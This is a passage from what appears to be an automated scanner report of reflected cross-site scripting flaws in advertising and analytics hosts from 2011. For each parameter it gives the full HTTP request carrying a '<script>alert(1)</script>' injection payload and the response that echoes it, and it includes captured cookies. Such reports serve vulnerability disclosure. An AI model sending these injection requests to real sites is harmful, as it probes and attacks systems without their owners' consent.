User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=151985724.1297262343.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=151985724.379581336.1297262343.1297262343.1297262343.1; __utmc=151985724; __utmb=151985724.1.10.1297262343

Response

HTTP/1.0 400 Bad Request
Date: Wed, 09 Feb 2011 14:38:58 GMT
Server: Apache
X-Webserver: oak-tp-app003
Access-Control-Allow-Origin: *
Content-Length: 66
Content-Type: text/plain; charset=utf-8
Connection: keep-alive

Invalid query arguments: 10983<script>alert(1)</script>a859f55dcf4

1.59. http://ar.voicefive.com/b/rc.pli [func parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/rc.pli

Issue detail

The value of the func request parameter is copied into the HTML document as plain text between tags. The payload 41073<script>alert(1)</script>881678aa397 was submitted in the func parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /b/rc.pli?func=COMSCORE.BMX.Broker.handleInteraction41073<script>alert(1)</script>881678aa397&n=ar_int_p85001580&1297260410572 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=52&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:06:00 2011&prad=58087509&arc=40400793&; BMX_3PC=1; UID=1d29d89e-72.246.30.75-1294456810; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1297260361%2E433%2Cwait%2D%3E10000%2C

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:09:40 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 83

COMSCORE.BMX.Broker.handleInteraction41073<script>alert(1)</script>881678aa397("");

1.60. http://b.scorecardresearch.com/beacon.js [c1 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload f6b68<script>alert(1)</script>ef6909d873d was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8f6b68<script>alert(1)</script>ef6909d873d&c2=6036211&c3=&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:43 GMT
Date: Wed, 09 Feb 2011 13:57:43 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
MSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8f6b68<script>alert(1)</script>ef6909d873d", c2:"6036211", c3:"", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.61. http://b.scorecardresearch.com/beacon.js [c10 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload 7731f<script>alert(1)</script>a68c56a1299 was submitted in the c10 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6036211&c3=&c4=&c5=&c6=&c10=7731f<script>alert(1)</script>a68c56a1299 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:44 GMT
Date: Wed, 09 Feb 2011 13:57:44 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
mscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6036211", c3:"", c4:"", c5:"", c6:"", c10:"7731f<script>alert(1)</script>a68c56a1299", c15:"", c16:"", r:""});

1.62. http://b.scorecardresearch.com/beacon.js [c2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 67ea4<script>alert(1)</script>08e14236f5f was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=603621167ea4<script>alert(1)</script>08e14236f5f&c3=&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:43 GMT
Date: Wed, 09 Feb 2011 13:57:43 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
unction(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"603621167ea4<script>alert(1)</script>08e14236f5f", c3:"", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.63. http://b.scorecardresearch.com/beacon.js [c3 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 9be33<script>alert(1)</script>4a9ab7d1f30 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6036211&c3=9be33<script>alert(1)</script>4a9ab7d1f30&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:43 GMT
Date: Wed, 09 Feb 2011 13:57:43 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6036211", c3:"9be33<script>alert(1)</script>4a9ab7d1f30", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.64. http://b.scorecardresearch.com/beacon.js [c4 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload ab81b<script>alert(1)</script>829280e7c49 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6036211&c3=&c4=ab81b<script>alert(1)</script>829280e7c49&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:44 GMT
Date: Wed, 09 Feb 2011 13:57:44 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6036211", c3:"", c4:"ab81b<script>alert(1)</script>829280e7c49", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

1.65. http://b.scorecardresearch.com/beacon.js [c5 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload da613<script>alert(1)</script>50969b4edc7 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6036211&c3=&c4=&c5=da613<script>alert(1)</script>50969b4edc7&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:44 GMT
Date: Wed, 09 Feb 2011 13:57:44 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6036211", c3:"", c4:"", c5:"da613<script>alert(1)</script>50969b4edc7", c6:"", c10:"", c15:"", c16:"", r:""});

1.66. http://b.scorecardresearch.com/beacon.js [c6 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 96c54<script>alert(1)</script>a945613aa0c was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6036211&c3=&c4=&c5=&c6=96c54<script>alert(1)</script>a945613aa0c&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://speckyboy.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=1f00d615-24.143.206.88-1294170954

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Wed, 16 Feb 2011 13:57:44 GMT
Date: Wed, 09 Feb 2011 13:57:44 GMT
Connection: close
Content-Length: 3580

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"6036211", c3:"", c4:"", c5:"", c6:"96c54<script>alert(1)</script>a945613aa0c", c10:"", c15:"", c16:"", r:""});

1.67. http://b3.mookie1.com/2/B3DM/DLX/1@x71 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/B3DM/DLX/1@x71

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdbd9"><script>alert(1)</script>5626391a536 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DMbdbd9"><script>alert(1)</script>5626391a536/DLX/1@x71 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; NSC_o4efm_qppm_iuuq=ffffffff09419e9045525d5f4f58455e445a4a423660; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; dlx_20100929=set; other_20110126=set; session=1297259893|1297259895

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:43 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 328
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/B3DMbdbd9"><script>alert(1)</script>5626391a536/DLX/1218755221/x71/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG SR
...[SNIP]...

1.68. http://b3.mookie1.com/2/B3DM/DLX/1@x71 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/B3DM/DLX/1@x71

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d169"><script>alert(1)</script>8aae4752285 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX3d169"><script>alert(1)</script>8aae4752285/1@x71 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; NSC_o4efm_qppm_iuuq=ffffffff09419e9045525d5f4f58455e445a4a423660; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; dlx_20100929=set; other_20110126=set; session=1297259893|1297259895

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:46 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 328
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX3d169"><script>alert(1)</script>8aae4752285/1456575303/x71/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG SR
...[SNIP]...

1.69. http://b3.mookie1.com/2/B3DM/DLX/1@x71 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/B3DM/DLX/1@x71

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59104"><script>alert(1)</script>0d7baf3eaeb was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX/1@x7159104"><script>alert(1)</script>0d7baf3eaeb HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; NSC_o4efm_qppm_iuuq=ffffffff09419e9045525d5f4f58455e445a4a423660; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; dlx_20100929=set; other_20110126=set; session=1297259893|1297259895

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:48 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 320
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX/1635821032/x7159104"><script>alert(1)</script>0d7baf3eaeb/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG SR
...[SNIP]...

1.70. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec060"><script>alert(1)</script>17affe4c170 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3ec060"><script>alert(1)</script>17affe4c170/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:20 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 364
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5245525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3ec060"><script>alert(1)</script>17affe4c170/FarmersBranding/2011Q1/BTRT1/728/413346606/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.71. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49a73"><script>alert(1)</script>613ad088b59 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding49a73"><script>alert(1)</script>613ad088b59/2011Q1/BTRT1/728/11297259897490@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:24 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 365
Content-Type: text/html
